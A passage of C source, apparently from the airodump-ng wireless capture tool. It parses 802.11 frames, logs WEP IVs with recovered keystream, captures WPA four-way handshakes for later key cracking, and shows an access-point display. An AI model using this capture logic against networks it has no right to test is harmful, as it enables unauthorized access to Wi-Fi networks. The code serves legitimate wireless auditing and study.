p[1 + p[1]] & 0x7F ) / 2) ap_cur->max_speed = ( p[1 + p[1]] & 0x7F ) / 2; } if( p[0] == 0x03 ) ap_cur->channel = p[2]; p += 2 + p[1]; } } /* packet parsing: Beacon & Probe response */ if( (h80211[0] == 0x80 || h80211[0] == 0x50) && caplen > 38) { p=h80211+36; //ignore hdr + fixed params while( p < h80211 + caplen ) { type = p[0]; length = p[1]; if(p+2+length > h80211 + caplen) { /* printf("error parsing tags! %p vs. %p (tag: %i, length: %i,position: %i)\n", (p+2+length), (h80211+caplen), type, length, (p-h80211)); exit(1);*/ break; } if( (type == 0xDD && (length >= 8) && (memcmp(p+2, "\x00\x50\xF2\x01\x01\x00", 6) == 0)) || (type == 0x30) ) { ap_cur->security &= ~(STD_WEP|ENC_WEP|STD_WPA); org_p = p; offset = 0; if(type == 0xDD) { //WPA defined in vendor specific tag -> WPA1 support ap_cur->security |= STD_WPA; offset = 4; } if(type == 0x30) { ap_cur->security |= STD_WPA2; offset = 0; } if(length < (18+offset)) { p += length+2; continue; } if( p+9+offset > h80211+caplen ) break; numuni = p[8+offset] + (p[9+offset]<<8); if( p+ (11+offset) + 4*numuni > h80211+caplen) break; numauth = p[(10+offset) + 4*numuni] + (p[(11+offset) + 4*numuni]<<8); p += (10+offset); if(type != 0x30) { if( p + (4*numuni) + (2+4*numauth) > h80211+caplen) break; } else { if( p + (4*numuni) + (2+4*numauth) + 2 > h80211+caplen) break; } for(i=0; i<numuni; i++) { switch(p[i*4+3]) { case 0x01: ap_cur->security |= ENC_WEP; break; case 0x02: ap_cur->security |= ENC_TKIP; break; case 0x03: ap_cur->security |= ENC_WRAP; break; case 0x04: ap_cur->security |= ENC_CCMP; break; case 0x05: ap_cur->security |= ENC_WEP104; break; default: break; } } p += 2+4*numuni; for(i=0; i<numauth; i++) { switch(p[i*4+3]) { case 0x01: ap_cur->security |= AUTH_MGT; break; case 0x02: ap_cur->security |= AUTH_PSK; break; default: break; } } p += 2+4*numauth; if( type == 0x30 ) p += 2; p = org_p + length+2; } else if( (type == 0xDD && (length >= 8) && (memcmp(p+2, "\x00\x50\xF2\x02\x01\x01", 6) == 0))) { ap_cur->security |= STD_QOS; p += length+2; } else p += length+2; } } /* packet parsing: Authentication Response */ if( h80211[0] == 0xB0 && caplen >= 30) { if( ap_cur->security & STD_WEP ) { //successful step 2 or 4 (coming from the AP) if(memcmp(h80211+28, "\x00\x00", 2) == 0 && (h80211[26] == 0x02 || h80211[26] == 0x04)) { ap_cur->security &= ~(AUTH_OPN | AUTH_PSK | AUTH_MGT); if(h80211[24] == 0x00) ap_cur->security |= AUTH_OPN; if(h80211[24] == 0x01) ap_cur->security |= AUTH_PSK; } } } /* packet parsing: Association Request */ if( h80211[0] == 0x00 && caplen > 28 ) { p = h80211 + 28; while( p < h80211 + caplen ) { if( p + 2 + p[1] > h80211 + caplen ) break; if( p[0] == 0x00 && p[1] > 0 && p[2] != '\0' && ( p[1] > 1 || p[2] != ' ' ) ) { /* found a non-cloaked ESSID */ n = ( p[1] > 32 ) ? 32 : p[1]; memset( ap_cur->essid, 0, 33 ); memcpy( ap_cur->essid, p + 2, n ); if( G.f_ivs != NULL && !ap_cur->essid_stored ) { memset(&ivs2, '\x00', sizeof(struct ivs2_pkthdr)); ivs2.flags |= IVS2_ESSID; ivs2.len += ap_cur->ssid_length; if( memcmp( G.prev_bssid, ap_cur->bssid, 6 ) != 0 ) { ivs2.flags |= IVS2_BSSID; ivs2.len += 6; memcpy( G.prev_bssid, ap_cur->bssid, 6 ); } /* write header */ if( fwrite( &ivs2, 1, sizeof(struct ivs2_pkthdr), G.f_ivs ) != (size_t) sizeof(struct ivs2_pkthdr) ) { perror( "fwrite(IV header) failed" ); return( 1 ); } /* write BSSID */ if(ivs2.flags & IVS2_BSSID) { if( fwrite( ap_cur->bssid, 1, 6, G.f_ivs ) != (size_t) 6 ) { perror( "fwrite(IV bssid) failed" ); return( 1 ); } } /* write essid */ if( fwrite( ap_cur->essid, 1, ap_cur->ssid_length, G.f_ivs ) != (size_t) ap_cur->ssid_length ) { perror( "fwrite(IV essid) failed" ); return( 1 ); } ap_cur->essid_stored = 1; } for( i = 0; i < n; i++ ) if( ap_cur->essid[i] < 32 || ( ap_cur->essid[i] > 126 && ap_cur->essid[i] < 160 ) ) ap_cur->essid[i] = '.'; } p += 2 + p[1]; } if(st_cur != NULL) st_cur->wpa.state = 0; } /* packet parsing: some data */ if( ( h80211[0] & 0x0C ) == 0x08 ) { /* update the channel if we didn't get any beacon */ if( ap_cur->channel == -1 ) { if(ri->ri_channel > 0 && ri->ri_channel < 167) ap_cur->channel = ri->ri_channel; else ap_cur->channel = G.channel[cardnum]; } /* check the SNAP header to see if data is encrypted */ z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; /* Check if 802.11e (QoS) */ if( (h80211[0] & 0x80) == 0x80) { z+=2; if(st_cur != NULL) { if( (h80211[1] & 3) == 1 ) //ToDS st_cur->qos_to_ds = 1; else st_cur->qos_fr_ds = 1; } } else { if(st_cur != NULL) { if( (h80211[1] & 3) == 1 ) //ToDS st_cur->qos_to_ds = 0; else st_cur->qos_fr_ds = 0; } } if(z==24) { if(list_check_decloak(&(ap_cur->packets), caplen, h80211) != 0) { list_add_packet(&(ap_cur->packets), caplen, h80211); } else { ap_cur->is_decloak = 1; ap_cur->decloak_detect = 0; list_tail_free(&(ap_cur->packets)); memset(G.message, '\x00', sizeof(G.message)); snprintf( G.message, sizeof( G.message ) - 1, "][ Decloak: %02X:%02X:%02X:%02X:%02X:%02X ", ap_cur->bssid[0], ap_cur->bssid[1], ap_cur->bssid[2], ap_cur->bssid[3], ap_cur->bssid[4], ap_cur->bssid[5]); } } if( z + 26 > (unsigned)caplen ) goto write_packet; if( h80211[z] == h80211[z + 1] && h80211[z + 2] == 0x03 ) { // if( ap_cur->encryption < 0 ) // ap_cur->encryption = 0; /* if ethertype == IPv4, find the LAN address */ if( h80211[z + 6] == 0x08 && h80211[z + 7] == 0x00 && ( h80211[1] & 3 ) == 0x01 ) memcpy( ap_cur->lanip, &h80211[z + 20], 4 ); if( h80211[z + 6] == 0x08 && h80211[z + 7] == 0x06 ) memcpy( ap_cur->lanip, &h80211[z + 22], 4 ); } // else // ap_cur->encryption = 2 + ( ( h80211[z + 3] & 0x20 ) >> 5 ); if(ap_cur->security == 0 || (ap_cur->security & STD_WEP) ) { if( (h80211[1] & 0x40) != 0x40 ) { ap_cur->security |= STD_OPN; } else { if((h80211[z+3] & 0x20) == 0x20) { ap_cur->security |= STD_WPA; } else { ap_cur->security |= STD_WEP; if( (h80211[z+3] & 0xC0) != 0x00) { ap_cur->security |= ENC_WEP40; } else { ap_cur->security &= ~ENC_WEP40; ap_cur->security |= ENC_WEP; } } } } if( z + 10 > (unsigned)caplen ) goto write_packet; if( ap_cur->security & STD_WEP ) { /* WEP: check if we've already seen this IV */ if( ! uniqueiv_check( ap_cur->uiv_root, &h80211[z] ) ) { /* first time seen IVs */ if( G.f_ivs != NULL ) { memset(&ivs2, '\x00', sizeof(struct ivs2_pkthdr)); ivs2.flags = 0; ivs2.len = 0; /* datalen = caplen - (header+iv+ivs) */ dlen = caplen -z -4 -4; //original data len if(dlen > 2048) dlen = 2048; //get cleartext + len + 4(iv+idx) num_xor = known_clear(clear, &clen, weight, h80211, dlen); if(num_xor == 1) { ivs2.flags |= IVS2_XOR; ivs2.len += clen + 4; /* reveal keystream (plain^encrypted) */ for(n=0; n<(ivs2.len-4); n++) { clear[n] = (clear[n] ^ h80211[z+4+n]) & 0xFF; } //clear is now the keystream } else { //do it again to get it 2 bytes higher num_xor = known_clear(clear+2, &clen, weight, h80211, dlen); ivs2.flags |= IVS2_PTW; //len = 4(iv+idx) + 1(num of keystreams) + 1(len per keystream) + 32*num_xor + 16*sizeof(int)(weight[16]) ivs2.len += 4 + 1 + 1 + 32*num_xor + 16*sizeof(int); clear[0] = num_xor; clear[1] = clen; /* reveal keystream (plain^encrypted) */ for(o=0; o<num_xor; o++) { for(n=0; n<(ivs2.len-4); n++) { clear[2+n+o*32] = (clear[2+n+o*32] ^ h80211[z+4+n]) & 0xFF; } } memcpy(clear+4 + 1 + 1 + 32*num_xor, weight, 16*sizeof(int)); //clear is now the keystream } if( memcmp( G.prev_bssid, ap_cur->bssid, 6 ) != 0 ) { ivs2.flags |= IVS2_BSSID; ivs2.len += 6; memcpy( G.prev_bssid, ap_cur->bssid, 6 ); } if( fwrite( &ivs2, 1, sizeof(struct ivs2_pkthdr), G.f_ivs ) != (size_t) sizeof(struct ivs2_pkthdr) ) { perror( "fwrite(IV header) failed" ); return( 1 ); } if( ivs2.flags & IVS2_BSSID ) { if( fwrite( ap_cur->bssid, 1, 6, G.f_ivs ) != (size_t) 6 ) { perror( "fwrite(IV bssid) failed" ); return( 1 ); } ivs2.len -= 6; } if( fwrite( h80211+z, 1, 4, G.f_ivs ) != (size_t) 4 ) { perror( "fwrite(IV iv+idx) failed" ); return( 1 ); } ivs2.len -= 4; if( fwrite( clear, 1, ivs2.len, G.f_ivs ) != (size_t) ivs2.len ) { perror( "fwrite(IV keystream) failed" ); return( 1 ); } } uniqueiv_mark( ap_cur->uiv_root, &h80211[z] ); ap_cur->nb_data++; } // Record all data linked to IV to detect WEP Cloaking if( G.f_ivs == NULL && G.detect_anomaly) { // Only allocate this when seeing WEP AP if (ap_cur->data_root == NULL) ap_cur->data_root = data_init(); // Only works with full capture, not IV-only captures if (data_check(ap_cur->data_root, &h80211[z], &h80211[z + 4]) == CLOAKING && ap_cur->EAP_detected == 0) { //If no EAP/EAP was detected, indicate WEP cloaking memset(G.message, '\x00', sizeof(G.message)); snprintf( G.message, sizeof( G.message ) - 1, "][ WEP Cloaking: %02X:%02X:%02X:%02X:%02X:%02X ", ap_cur->bssid[0], ap_cur->bssid[1], ap_cur->bssid[2], ap_cur->bssid[3], ap_cur->bssid[4], ap_cur->bssid[5]); } } } else { ap_cur->nb_data++; } z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; /* Check if 802.11e (QoS) */ if( (h80211[0] & 0x80) == 0x80) z+=2; if( z + 26 > (unsigned)caplen ) goto write_packet; z += 6; //skip LLC header /* check ethertype == EAPOL */ if( h80211[z] == 0x88 && h80211[z + 1] == 0x8E && (h80211[1] & 0x40) != 0x40 ) { ap_cur->EAP_detected = 1; z += 2; //skip ethertype if( st_cur == NULL ) goto write_packet; /* frame 1: Pairwise == 1, Install == 0, Ack == 1, MIC == 0 */ if( ( h80211[z + 6] & 0x08 ) != 0 && ( h80211[z + 6] & 0x40 ) == 0 && ( h80211[z + 6] & 0x80 ) != 0 && ( h80211[z + 5] & 0x01 ) == 0 ) { memcpy( st_cur->wpa.anonce, &h80211[z + 17], 32 ); st_cur->wpa.state = 1; } /* frame 2 or 4: Pairwise == 1, Install == 0, Ack == 0, MIC == 1 */ if( z+17+32 > (unsigned)caplen ) goto write_packet; if( ( h80211[z + 6] & 0x08 ) != 0 && ( h80211[z + 6] & 0x40 ) == 0 && ( h80211[z + 6] & 0x80 ) == 0 && ( h80211[z + 5] & 0x01 ) != 0 ) { if( memcmp( &h80211[z + 17], ZERO, 32 ) != 0 ) { memcpy( st_cur->wpa.snonce, &h80211[z + 17], 32 ); st_cur->wpa.state |= 2; } if( (st_cur->wpa.state & 4) != 4 ) { st_cur->wpa.eapol_size = ( h80211[z + 2] << 8 ) + h80211[z + 3] + 4; if (caplen - z < st_cur->wpa.eapol_size || st_cur->wpa.eapol_size == 0 || caplen - z < 81 + 16 || st_cur->wpa.eapol_size > sizeof(st_cur->wpa.eapol)) { // Ignore the packet trying to crash us. st_cur->wpa.eapol_size = 0; goto write_packet; } memcpy( st_cur->wpa.keymic, &h80211[z + 81], 16 ); memcpy( st_cur->wpa.eapol, &h80211[z], st_cur->wpa.eapol_size ); memset( st_cur->wpa.eapol + 81, 0, 16 ); st_cur->wpa.state |= 4; st_cur->wpa.keyver = h80211[z + 6] & 7; } } /* frame 3: Pairwise == 1, Install == 1, Ack == 1, MIC == 1 */ if( ( h80211[z + 6] & 0x08 ) != 0 && ( h80211[z + 6] & 0x40 ) != 0 && ( h80211[z + 6] & 0x80 ) != 0 && ( h80211[z + 5] & 0x01 ) != 0 ) { if( memcmp( &h80211[z + 17], ZERO, 32 ) != 0 ) { memcpy( st_cur->wpa.anonce, &h80211[z + 17], 32 ); st_cur->wpa.state |= 1; } if( (st_cur->wpa.state & 4) != 4 ) { st_cur->wpa.eapol_size = ( h80211[z + 2] << 8 ) + h80211[z + 3] + 4; if (caplen - (unsigned)z < st_cur->wpa.eapol_size || st_cur->wpa.eapol_size == 0 || caplen - (unsigned)z < 81 + 16 || st_cur->wpa.eapol_size > sizeof(st_cur->wpa.eapol)) { // Ignore the packet trying to crash us. st_cur->wpa.eapol_size = 0; goto write_packet; } memcpy( st_cur->wpa.keymic, &h80211[z + 81], 16 ); memcpy( st_cur->wpa.eapol, &h80211[z], st_cur->wpa.eapol_size ); memset( st_cur->wpa.eapol + 81, 0, 16 ); st_cur->wpa.state |= 4; st_cur->wpa.keyver = h80211[z + 6] & 7; } } if( st_cur->wpa.state == 7) { memcpy( st_cur->wpa.stmac, st_cur->stmac, 6 ); memcpy( G.wpa_bssid, ap_cur->bssid, 6 ); memset(G.message, '\x00', sizeof(G.message)); snprintf( G.message, sizeof( G.message ) - 1, "][ WPA handshake: %02X:%02X:%02X:%02X:%02X:%02X ", G.wpa_bssid[0], G.wpa_bssid[1], G.wpa_bssid[2], G.wpa_bssid[3], G.wpa_bssid[4], G.wpa_bssid[5]); if( G.f_ivs != NULL ) { memset(&ivs2, '\x00', sizeof(struct ivs2_pkthdr)); ivs2.flags = 0; ivs2.len = 0; ivs2.len= sizeof(struct WPA_hdsk); ivs2.flags |= IVS2_WPA; if( memcmp( G.prev_bssid, ap_cur->bssid, 6 ) != 0 ) { ivs2.flags |= IVS2_BSSID; ivs2.len += 6; memcpy( G.prev_bssid, ap_cur->bssid, 6 ); } if( fwrite( &ivs2, 1, sizeof(struct ivs2_pkthdr), G.f_ivs ) != (size_t) sizeof(struct ivs2_pkthdr) ) { perror( "fwrite(IV header) failed" ); return( 1 ); } if( ivs2.flags & IVS2_BSSID ) { if( fwrite( ap_cur->bssid, 1, 6, G.f_ivs ) != (size_t) 6 ) { perror( "fwrite(IV bssid) failed" ); return( 1 ); } ivs2.len -= 6; } if( fwrite( &(st_cur->wpa), 1, sizeof(struct WPA_hdsk), G.f_ivs ) != (size_t) sizeof(struct WPA_hdsk) ) { perror( "fwrite(IV wpa_hdsk) failed" ); return( 1 ); } } } } } write_packet: if(ap_cur != NULL) { if( h80211[0] == 0x80 && G.one_beacon){ if( !ap_cur->beacon_logged ) ap_cur->beacon_logged = 1; else return ( 0 ); } } if(G.record_data) { if( ( (h80211[0] & 0x0C) == 0x00 ) && ( (h80211[0] & 0xF0) == 0xB0 ) ) { /* authentication packet */ check_shared_key(h80211, caplen); } } if(ap_cur != NULL) { if(ap_cur->security != 0 && G.f_encrypt != 0 && ((ap_cur->security & G.f_encrypt) == 0)) { return(1); } if(is_filtered_essid(ap_cur->essid)) { return(1); } } /* this changes the local ap_cur, st_cur and na_cur variables and should be the last check befor the actual write */ if(caplen < 24 && caplen >= 10 && h80211[0]) { /* RTS || CTS || ACK || CF-END || CF-END&CF-ACK*/ //(h80211[0] == 0xB4 || h80211[0] == 0xC4 || h80211[0] == 0xD4 || h80211[0] == 0xE4 || h80211[0] == 0xF4) /* use general control frame detection, as the structure is always the same: mac(s) starting at [4] */ if(h80211[0] & 0x04) { p=h80211+4; while(p <= h80211+16 && p<=h80211+caplen) { memcpy(namac, p, 6); if(memcmp(namac, NULL_MAC, 6) == 0) { p+=6; continue; } if(memcmp(namac, BROADCAST, 6) == 0) { p+=6; continue; } if(G.hide_known) { /* check AP list */ ap_cur = G.ap_1st; ap_prv = NULL; while( ap_cur != NULL ) { if( ! memcmp( ap_cur->bssid, namac, 6 ) ) break; ap_prv = ap_cur; ap_cur = ap_cur->next; } /* if it's an AP, try next mac */ if( ap_cur != NULL ) { p+=6; continue; } /* check ST list */ st_cur = G.st_1st; st_prv = NULL; while( st_cur != NULL ) { if( ! memcmp( st_cur->stmac, namac, 6 ) ) break; st_prv = st_cur; st_cur = st_cur->next; } /* if it's a client, try next mac */ if( st_cur != NULL ) { p+=6; continue; } } /* not found in either AP list or ST list, look through NA list */ na_cur = G.na_1st; na_prv = NULL; while( na_cur != NULL ) { if( ! memcmp( na_cur->namac, namac, 6 ) ) break; na_prv = na_cur; na_cur = na_cur->next; } /* update our chained list of unknown stations */ /* if it's a new mac, add it */ if( na_cur == NULL ) { if( ! ( na_cur = (struct NA_info *) malloc( sizeof( struct NA_info ) ) ) ) { perror( "malloc failed" ); return( 1 ); } memset( na_cur, 0, sizeof( struct NA_info ) ); if( G.na_1st == NULL ) G.na_1st = na_cur; else na_prv->next = na_cur; memcpy( na_cur->namac, namac, 6 ); na_cur->prev = na_prv; gettimeofday(&(na_cur->tv), NULL); na_cur->tinit = time( NULL ); na_cur->tlast = time( NULL ); na_cur->power = -1; na_cur->channel = -1; na_cur->ack = 0; na_cur->ack_old = 0; na_cur->ackps = 0; na_cur->cts = 0; na_cur->rts_r = 0; na_cur->rts_t = 0; } /* update the last time seen & power*/ na_cur->tlast = time( NULL ); na_cur->power = ri->ri_power; na_cur->channel = ri->ri_channel; switch(h80211[0] & 0xF0) { case 0xB0: if(p == h80211+4) na_cur->rts_r++; if(p == h80211+10) na_cur->rts_t++; break; case 0xC0: na_cur->cts++; break; case 0xD0: na_cur->ack++; break; default: na_cur->other++; break; } /*grab next mac (for rts frames)*/ p+=6; } } } if( G.f_cap != NULL && caplen >= 10) { pkh.caplen = pkh.len = caplen; gettimeofday( &tv, NULL ); pkh.tv_sec = tv.tv_sec; pkh.tv_usec = ( tv.tv_usec & ~0x1ff ) + ri->ri_power + 64; n = sizeof( pkh ); if( fwrite( &pkh, 1, n, G.f_cap ) != (size_t) n ) { perror( "fwrite(packet header) failed" ); return( 1 ); } fflush( stdout ); n = pkh.caplen; if( fwrite( h80211, 1, n, G.f_cap ) != (size_t) n ) { perror( "fwrite(packet data) failed" ); return( 1 ); } fflush( stdout ); } return( 0 ); } void dump_sort( void ) { time_t tt = time( NULL ); /* thanks to Arnaud Cornet :-) */ struct AP_info *new_ap_1st = NULL; struct AP_info *new_ap_end = NULL; struct ST_info *new_st_1st = NULL; struct ST_info *new_st_end = NULL; struct ST_info *st_cur, *st_min; struct AP_info *ap_cur, *ap_min; /* sort the aps by WHATEVER first */ while( G.ap_1st ) { ap_min = NULL; ap_cur = G.ap_1st; while( ap_cur != NULL ) { if( tt - ap_cur->tlast > 20 ) ap_min = ap_cur; ap_cur = ap_cur->next; } if( ap_min == NULL ) { ap_min = ap_cur = G.ap_1st; /*#define SORT_BY_BSSID 1 #define SORT_BY_POWER 2 #define SORT_BY_BEACON 3 #define SORT_BY_DATA 4 #define SORT_BY_PRATE 6 #define SORT_BY_CHAN 7 #define SORT_BY_MBIT 8 #define SORT_BY_ENC 9 #define SORT_BY_CIPHER 10 #define SORT_BY_AUTH 11 #define SORT_BY_ESSID 12*/ while( ap_cur != NULL ) { switch (G.sort_by) { case SORT_BY_BSSID: if( memcmp(ap_cur->bssid,ap_min->bssid,6)*G.sort_inv < 0) ap_min = ap_cur; break; case SORT_BY_POWER: if( (ap_cur->avg_power - ap_min->avg_power)*G.sort_inv < 0 ) ap_min = ap_cur; break; case SORT_BY_BEACON: if( (ap_cur->nb_bcn < ap_min->nb_bcn)*G.sort_inv ) ap_min = ap_cur; break; case SORT_BY_DATA: if( (ap_cur->nb_data < ap_min->nb_data)*G.sort_inv ) ap_min = ap_cur; break; case SORT_BY_PRATE: if( (ap_cur->nb_dataps - ap_min->nb_dataps)*G.sort_inv < 0 ) ap_min = ap_cur; break; case SORT_BY_CHAN: if( (ap_cur->channel - ap_min->channel)*G.sort_inv < 0 ) ap_min = ap_cur; break; case SORT_BY_MBIT: if( (ap_cur->max_speed - ap_min->max_speed)*G.sort_inv < 0 ) ap_min = ap_cur; break; case SORT_BY_ENC: if( ((ap_cur->security&STD_FIELD) - (ap_min->security&STD_FIELD))*G.sort_inv < 0 ) ap_min = ap_cur; break; case SORT_BY_CIPHER: if( ((ap_cur->security&ENC_FIELD) - (ap_min->security&ENC_FIELD))*G.sort_inv < 0 ) ap_min = ap_cur; break; case SORT_BY_AUTH: if( ((ap_cur->security&AUTH_FIELD) - (ap_min->security&AUTH_FIELD))*G.sort_inv < 0 ) ap_min = ap_cur; break; case SORT_BY_ESSID: if( (strncasecmp((char*)ap_cur->essid, (char*)ap_min->essid, MAX_IE_ELEMENT_SIZE))*G.sort_inv < 0 ) ap_min = ap_cur; break; default: //sort by power if( ap_cur->avg_power < ap_min->avg_power) ap_min = ap_cur; break; } ap_cur = ap_cur->next; } } if( ap_min == G.ap_1st ) G.ap_1st = ap_min->next; if( ap_min == G.ap_end ) G.ap_end = ap_min->prev; if( ap_min->next ) ap_min->next->prev = ap_min->prev; if( ap_min->prev ) ap_min->prev->next = ap_min->next; if( new_ap_end ) { new_ap_end->next = ap_min; ap_min->prev = new_ap_end; new_ap_end = ap_min; new_ap_end->next = NULL; } else { new_ap_1st = new_ap_end = ap_min; ap_min->next = ap_min->prev = NULL; } } G.ap_1st = new_ap_1st; G.ap_end = new_ap_end; /* now sort the stations */ while( G.st_1st ) { st_min = NULL; st_cur = G.st_1st; while( st_cur != NULL ) { if( tt - st_cur->tlast > 60 ) st_min = st_cur; st_cur = st_cur->next; } if( st_min == NULL ) { st_min = st_cur = G.st_1st; while( st_cur != NULL ) { if( st_cur->power < st_min->power) st_min = st_cur; st_cur = st_cur->next; } } if( st_min == G.st_1st ) G.st_1st = st_min->next; if( st_min == G.st_end ) G.st_end = st_min->prev; if( st_min->next ) st_min->next->prev = st_min->prev; if( st_min->prev ) st_min->prev->next = st_min->next; if( new_st_end ) { new_st_end->next = st_min; st_min->prev = new_st_end; new_st_end = st_min; new_st_end->next = NULL; } else { new_st_1st = new_st_end = st_min; st_min->next = st_min->prev = NULL; } } G.st_1st = new_st_1st; G.st_end = new_st_end; } int getBatteryState() { return get_battery_state(); } char * getStringTimeFromSec(double seconds) { int hour[3]; char * ret; char * HourTime; char * MinTime; if (seconds <0) return NULL; ret = (char *) calloc(1,256); HourTime = (char *) calloc (1,128); MinTime = (char *) calloc (1,128); hour[0] = (int) (seconds); hour[1] = hour[0] / 60; hour[2] = hour[1] / 60; hour[0] %= 60 ; hour[1] %= 60 ; if (hour[2] != 0 ) snprintf(HourTime, 128, "%d %s", hour[2], ( hour[2] == 1 ) ? "hour" : "hours"); if (hour[1] != 0 ) snprintf(MinTime, 128, "%d %s", hour[1], ( hour[1] == 1 ) ? "min" : "mins"); if ( hour[2] != 0 && hour[1] != 0 ) snprintf(ret, 256, "%s %s", HourTime, MinTime); else { if (hour[2] == 0 && hour[1] == 0) snprintf(ret, 256, "%d s", hour[0] ); else snprintf(ret, 256, "%s", (hour[2] == 0) ? MinTime : HourTime ); } free(MinTime); free(HourTime); return ret; } char * getBatteryString(void) { int batt_time; char * ret; char * batt_string; batt_time = getBatteryState(); if ( batt_time <= 60 ) { ret = (char *) calloc(1,2); ret[0] = ']'; return ret; } batt_string = getStringTimeFromSec( (double) batt_time ); ret = (char *) calloc( 1, 256 ); snprintf( ret, 256, "][ BAT: %s ]", batt_string ); free( batt_string); return ret; } int get_ap_list_count() { time_t tt; struct tm *lt; struct AP_info *ap_cur; int num_ap; tt = time( NULL ); lt = localtime( &tt ); ap_cur = G.ap_end; num_ap = 0; while( ap_cur != NULL ) { /* skip APs with only one packet, or those older than 2 min. * always skip if bssid == broadcast */ if( ap_cur->nb_pkt < 2 || time( NULL ) - ap_cur->tlast > G.berlin || memcmp( ap_cur->bssid, BROADCAST, 6 ) == 0 ) { ap_cur = ap_cur->prev; continue; } if(ap_cur->security != 0 && G.f_encrypt != 0 && ((ap_cur->security & G.f_encrypt) == 0)) { ap_cur = ap_cur->prev; continue; } if(is_filtered_essid(ap_cur->essid)) { ap_cur = ap_cur->prev; continue; } num_ap++; ap_cur = ap_cur->prev; } return num_ap; } int get_sta_list_count() { time_t tt; struct tm *lt; struct AP_info *ap_cur; struct ST_info *st_cur; int num_sta; tt = time( NULL ); lt = localtime( &tt ); ap_cur = G.ap_end; num_sta = 0; while( ap_cur != NULL ) { if( ap_cur->nb_pkt < 2 || time( NULL ) - ap_cur->tlast > G.berlin ) { ap_cur = ap_cur->prev; continue; } if(ap_cur->security != 0 && G.f_encrypt != 0 && ((ap_cur->security & G.f_encrypt) == 0)) { ap_cur = ap_cur->prev; continue; } // Don't filter unassociated clients by ESSID if(memcmp(ap_cur->bssid, BROADCAST, 6) && is_filtered_essid(ap_cur->essid)) { ap_cur = ap_cur->prev; continue; } st_cur = G.st_end; while( st_cur != NULL ) { if( st_cur->base != ap_cur || time( NULL ) - st_cur->tlast > G.berlin ) { st_cur = st_cur->prev; continue; } if( ! memcmp( ap_cur->bssid, BROADCAST, 6 ) && G.asso_client ) { st_cur = st_cur->prev; continue; } num_sta++; st_cur = st_cur->prev; } ap_cur = ap_cur->prev; } return num_sta; } #define TSTP_SEC 1000000ULL /* It's a 1 MHz clock, so a million ticks per second! */ #define TSTP_MIN (TSTP_SEC * 60ULL) #define TSTP_HOUR (TSTP_MIN * 60ULL) #define TSTP_DAY (TSTP_HOUR * 24ULL) static char *parse_timestamp(unsigned long long timestamp) { static char s[15]; unsigned long long rem; unsigned int days, hours, mins, secs; days = timestamp / TSTP_DAY; rem = timestamp % TSTP_DAY; hours = rem / TSTP_HOUR; rem %= TSTP_HOUR; mins = rem / TSTP_MIN; rem %= TSTP_MIN; secs = rem / TSTP_SEC; snprintf(s, 14, "%3dd %02d:%02d:%02d", days, hours, mins, secs); return s; } void dump_print( int ws_row, int ws_col, int if_num ) { time_t tt; struct tm *lt; int nlines, i, n, len; char strbuf[512]; char buffer[512]; char ssid_list[512]; struct AP_info *ap_cur; struct ST_info *st_cur; struct NA_info *na_cur; int columns_ap = 83; int columns_sta = 74; int columns_na = 68; int num_ap; int num_sta; if(!G.singlechan) columns_ap -= 4; //no RXQ in scan mode if(G.show_uptime) columns_ap += 15; //show uptime needs more space nlines = 2; if( nlines >= ws_row ) return; if(G.do_sort_always) { pthread_mutex_lock( &(G.mx_sort) ); dump_sort(); pthread_mutex_unlock( &(G.mx_sort) ); } tt = time( NULL ); lt = localtime( &tt ); if(G.is_berlin) { G.maxaps = 0; G.numaps = 0; ap_cur = G.ap_end; while( ap_cur != NULL ) { G.maxaps++; if( ap_cur->nb_pkt < 2 || time( NULL ) - ap_cur->tlast > G.berlin || memcmp( ap_cur->bssid, BROADCAST, 6 ) == 0 ) { ap_cur = ap_cur->prev; continue; } G.numaps++; ap_cur = ap_cur->prev; } if(G.numaps > G.maxnumaps) G.maxnumaps = G.numaps; // G.maxaps--; } /* * display the channel, battery, position (if we are connected to GPSd) * and current time */ memset( strbuf, '\0', sizeof(strbuf) ); strbuf[ws_col - 1] = '\0'; fprintf( stderr, "%s\n", strbuf ); if(G.freqoption) { snprintf(strbuf, sizeof(strbuf)-1, " Freq %4d", G.frequency[0]); for(i=1; i<if_num; i++) { memset( buffer, '\0', sizeof(buffer) ); snprintf(buffer, sizeof(buffer) , ",%4d", G.frequency[i]); strncat(strbuf, buffer, sizeof(strbuf) - strlen(strbuf) - 1); } } else { snprintf(strbuf, sizeof(strbuf)-1, " CH %2d", G.channel[0]); for(i=1; i<if_num; i++) { memset( buffer, '\0', sizeof(buffer) ); snprintf(buffer, sizeof(buffer) , ",%2d", G.channel[i]); strncat(strbuf, buffer, sizeof(strbuf) - strlen(strbuf) -1); } } memset( buffer, '\0', sizeof(buffer) ); if (G.gps_loc[0]) { snprintf( buffer, sizeof( buffer ) - 1, " %s[ GPS %8.3f %8.3f %8.3f %6.2f " "][ Elapsed: %s ][ %04d-%02d-%02d %02d:%02d ", G.batt, G.gps_loc[0], G.gps_loc[1], G.gps_loc[2], G.gps_loc[3], G.elapsed_time , 1900 + lt->tm_year, 1 + lt->tm_mon, lt->tm_mday, lt->tm_hour, lt->tm_min ); } else { snprintf( buffer, sizeof( buffer ) - 1, " %s[ Elapsed: %s ][ %04d-%02d-%02d %02d:%02d ", G.batt, G.elapsed_time, 1900 + lt->tm_year, 1 + lt->tm_mon, lt->tm_mday, lt->tm_hour, lt->tm_min ); } strncat(strbuf, buffer, (512-strlen(strbuf))); memset( buffer, '\0', 512 ); if(G.is_berlin) { snprintf( buffer, sizeof( buffer ) - 1, " ][%3d/%3d/%4d ", G.numaps, G.maxnumaps, G.maxaps); } strncat(strbuf, buffer, (512-strlen(strbuf))); memset( buffer, '\0', 512 ); if(strlen(G.message) > 0) { strncat(strbuf, G.message, (512-strlen(strbuf))); } //add traling spaces to overwrite previous messages strncat(strbuf, " ", (512-strlen(strbuf))); strbuf[ws_col - 1] = '\0'; fprintf( stderr, "%s\n", strbuf ); /* print some informations about each detected AP */ nlines += 3; if( nlines >= ws_row ) return; memset( strbuf, ' ', ws_col - 1 ); strbuf[ws_col - 1] = '\0'; fprintf( stderr, "%s\n", strbuf ); if(G.show_ap) { strbuf[0] = 0; strcat(strbuf, " BSSID PWR "); if(G.singlechan) strcat(strbuf, "RXQ "); strcat(strbuf, " Beacons #Data, #/s CH MB ENC CIPHER AUTH "); if (G.show_uptime) strcat(strbuf, " UPTIME "); strcat(strbuf, "ESSID"); if ( G.show_manufacturer && ( ws_col > (columns_ap - 4) ) ) { // write spaces (32). memset(strbuf+columns_ap, 32, G.maxsize_essid_seen - 5 ); // 5 is the len of "ESSID" 